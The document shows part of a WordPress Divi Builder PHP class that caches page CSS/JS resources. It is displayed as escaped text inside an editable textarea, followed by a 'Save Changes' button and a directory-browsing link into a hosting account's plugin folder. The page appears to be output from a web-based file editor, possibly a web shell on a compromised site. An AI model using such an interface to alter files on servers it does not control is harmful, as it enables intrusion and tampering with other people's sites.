			}
		}
	}

	public static function wpfs() {
		if ( null !== self::$wpfs ) {
			return self::$wpfs;
		}

		self::startup();

		return self::$wpfs = et_core_cache_dir()-&gt;wpfs;
	}

	protected function _initialize_resource() {
		if ( ! self::can_write_to_filesystem() ) {
			$this-&gt;base_dir = $this-&gt;temp_dir = $this-&gt;path = $this-&gt;url = &#039;&#039;; //phpcs:ignore Squiz.PHP.DisallowMultipleAssignments.Found -- Just ignore this since it&#039;s an internal use.

			$this-&gt;_register_resource();
			return;
		}

		$file_extension = &#039;style&#039; === $this-&gt;type ? &#039;.min.css&#039; : &#039;.min.js&#039;;
		$path           = self::get_cache_directory();
		$url            = et_core_cache_dir()-&gt;url;

		$file = et_()-&gt;path( $path, $this-&gt;post_id, $this-&gt;filename . $file_extension );

		if ( file_exists( $file ) ) {
			// Static resource file exists
			$this-&gt;path     = self::$data_utils-&gt;normalize_path( $file );
			$this-&gt;base_dir = dirname( $this-&gt;path );
			$this-&gt;url      = et_()-&gt;path( $url, $this-&gt;post_id, basename( $this-&gt;path ) );

		} else {
			// Static resource file doesn&#039;t exist
			$url  .= &quot;/{$this-&gt;post_id}/{$this-&gt;filename}{$file_extension}&quot;;
			$path .= &quot;/{$this-&gt;post_id}/{$this-&gt;filename}{$file_extension}&quot;;

			$this-&gt;base_dir = self::$data_utils-&gt;normalize_path( dirname( $path ) );
			$this-&gt;temp_dir = $this-&gt;base_dir . &quot;/{$this-&gt;slug}~&quot;;
			$this-&gt;path     = $path;
			$this-&gt;url      = $url;
		}

		$this-&gt;_register_resource();
	}

	protected function _register_resource() {
		$this-&gt;enqueued = false;
		$this-&gt;inlined  = false;

		$scope = &#039;global&#039; === $this-&gt;post_id ? &#039;global&#039; : &#039;post&#039;;

		self::$_resources[ $this-&gt;slug ] = $this;

		self::$_resources_by_scope[ $scope ][ $this-&gt;slug ] = $this;

		self::_assign_output_location( $this-&gt;location, $this );
	}

	public function get_data( $context ) {
		$result = &#039;&#039;;

		ksort( $this-&gt;data, SORT_NUMERIC );

		/**
		 * Filters the resource&#039;s data array.
		 *
		 * @since 3.0.52
		 *
		 * @param array[]              $data {
		 *
		 *     @type string[] $priority Resource data.
		 *     ...
		 * }
		 * @param string               $context  Where the data will be used. Accepts &#039;inline&#039;, &#039;file&#039;.
		 * @param ET_Core_PageResource $resource The resource instance.
		 */
		$resource_data = apply_filters( &#039;et_core_page_resource_get_data&#039;, $this-&gt;data, $context, $this );

		foreach ( $resource_data as $priority =&gt; $data_part ) {
			foreach ( $data_part as $data ) {
				$result .= $data;
			}
		}

		return $result;
	}

	/**
	 * Whether or not a static resource exists on the filesystem for this instance.
	 *
	 * @return bool
	 */
	public function has_file() {
		if ( ! self::$wpfs || empty( $this-&gt;path ) || ! self::can_write_to_filesystem() ) {
			return false;
		}

		return self::$wpfs-&gt;exists( $this-&gt;path );
	}

	/**
	 * Set the resource&#039;s data.
	 *
	 * @param string $data
	 * @param int    $priority
	 */
	public function set_data( $data, $priority = 10 ) {
		if ( &#039;style&#039; === $this-&gt;type ) {
			$data = et_core_data_utils_minify_css( $data );
			// Remove empty media queries
			//           @media   only..and  (feature:value)    { }
			$pattern = &#039;/@media\s+([\w\s]+)?\([\w-]+:[\w\d-]+\)\{\s*\}/&#039;;
			$data    = preg_replace( $pattern, &#039;&#039;, $data );
		}

		$this-&gt;data[ $priority ][] = trim( strip_tags( str_replace( &#039;\n&#039;, &#039;&#039;, $data ) ) );
	}

	public function set_output_location( $location ) {
		if ( ! self::_validate_property( &#039;location&#039;, $location ) ) {
			return;
		}

		$current_location = $this-&gt;location;

		self::_unassign_output_location( $current_location, $this );
		self::_assign_output_location( $location, $this );

		$this-&gt;location = $location;
	}

	public function unregister_resource() {
		$scope = &#039;global&#039; === $this-&gt;post_id ? &#039;global&#039; : &#039;post&#039;;

		unset( self::$_resources[ $this-&gt;slug ], self::$_resources_by_scope[ $scope ][ $this-&gt;slug ] );

		self::_unassign_output_location( $this-&gt;location, $this );
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-content%2Fplugins%2Fdivi-builder%2Fcore%2Fcomponents'>⬅ Back to Directory</a>